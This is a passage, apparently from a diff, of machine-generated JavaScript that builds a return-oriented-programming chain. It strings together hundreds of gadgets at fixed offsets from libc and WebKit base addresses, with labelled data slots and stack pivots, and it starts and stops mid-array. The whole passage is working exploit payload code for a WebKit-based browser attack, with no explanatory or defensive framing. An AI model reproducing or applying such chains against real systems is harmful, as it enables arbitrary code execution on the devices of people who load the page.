+set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+72264, //L157 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+72248, //L156 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L156: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L157: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+72424, //L160 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+72456, //L162 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+72408, //L159 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+72440, //L161 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L159: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L160: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L161: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L162: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+72552, //L164 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+72536, //L163 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L163: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L164: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L165: +db([24, 0]); // 0x18 +set_gadget(libc_base+768796,); //pop rax +//L166: +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+72704, //L167 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L167: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+72760, //L169 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L169: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278, //pop rsi +ropchain+72896, //L173 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+72880, //L172 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L171: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L172: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L173: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+73016, //L174 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+73048, //L176 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+73032, //L175 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L174: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L175: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L176: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+73152, //L177 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+73168, //L178 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L177: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L178: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+73288, //L179 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+73272, //L180 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L180: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L179: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+73376, //L182 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+73360, //L181 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L181: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L182: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+73480, //L183 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+73496, //L184 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L183: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L184: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+73616, //L185 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+73600, //L186 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L186: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L185: +db([0, 0]); // 0x0 +//___builtin_bswap64: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+73688, //L188 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L188: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+73752, //L189 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L189: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([16, 0]); // 0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+73848, //L192 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L191: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L192: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+73920, //L195 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L194: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L195: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L197: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L198: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+74040, //L201 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L200: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L201: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+74096, //L203 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L203: +db([0, 0]); // 0x0 +//L202: +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+74160, //L206 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L205: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L206: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+74264, //L209 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+74248, //L208 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L208: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L209: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+74424, //L212 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+74456, //L214 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+74408, //L211 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+74440, //L213 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L211: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L212: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L213: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L214: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+74536, //L215 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+74552, //L216 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L215: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L216: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+74648, //L218 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+74632, //L217 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L217: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L218: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+74760, //L221 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L219: +db([4, 0]); // 0x4 +set_gadget(libc_base+165442,); //pop rdi +//L220: +db([4, 0]); // 0x4 +set_gadget(webkit_base+3789839,); //pop r11 +//L221: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+74872, //L222 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+74904, //L224 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+74888, //L223 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L222: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L223: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L224: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+47019, //setl al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+75064, //L225 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+75096, //L227 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+75080, //L226 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L225: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L226: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L227: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+75240, //L231 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+75256, //L232 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+75224, //L230 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L229: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L230: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L231: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L232: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+75368, //L233+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+75360, //L233 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L233: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+75384, //L233+24 +ropchain+75400, //L228 +libc_base+489696, //pop rsp +ropchain+75416, //L234 +//L228: +libc_base+489696, //pop rsp +ropchain+86016, //L235 +//L234: +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L236: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L237: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+75552, //L240 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+75536, //L239 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L239: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L240: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+75696, //L244 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+75664, //L242 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+75680, //L243 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L242: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L243: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L244: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+75768, //L245 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L245: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+75824, //L247 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L247: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L249: +db([7, 0]); // 0x7 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+75968, //L251 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L250: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L251: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+76072, //L254 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+76056, //L253 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L253: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L254: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+76232, //L257 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+76264, //L259 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+76216, //L256 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+76248, //L258 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L256: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L257: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L258: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L259: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+76376, //L260 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+76408, //L262 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+76392, //L261 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L260: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L261: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L262: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+76520, //L263 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+76536, //L264 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L263: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L264: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+76624, //L265 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L265: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+76680, //L267 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L267: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+76824, //L270 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+76840, //L271 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+76808, //L269 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L269: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L270: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L271: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229136, //mov al, [rdi] +libc_base+713278, //pop rsi +ropchain+77000, //L275 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+76968, //L273 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+76984, //L274 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L272: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L273: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L274: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L275: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+77056, //L276 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L276: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+77184, //L279 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+77200, //L280 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+77168, //L278 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L278: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L279: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L280: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+77360, //L284 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+77328, //L282 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+77344, //L283 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L281: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L282: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L283: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L284: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+77416, //L285 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L285: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+77544, //L288 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+77560, //L289 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+77528, //L287 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L287: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L288: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L289: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+77720, //L293 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+77688, //L291 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+77704, //L292 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L290: +db([24, 0]); // 0x18 +set_gadget(libc_base+165442,); //pop rdi +//L291: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L292: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L293: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+77776, //L294 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L294: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+77904, //L297 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+77920, //L298 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+77888, //L296 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L296: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L297: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L298: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+78000, //L299 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+78016, //L300 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 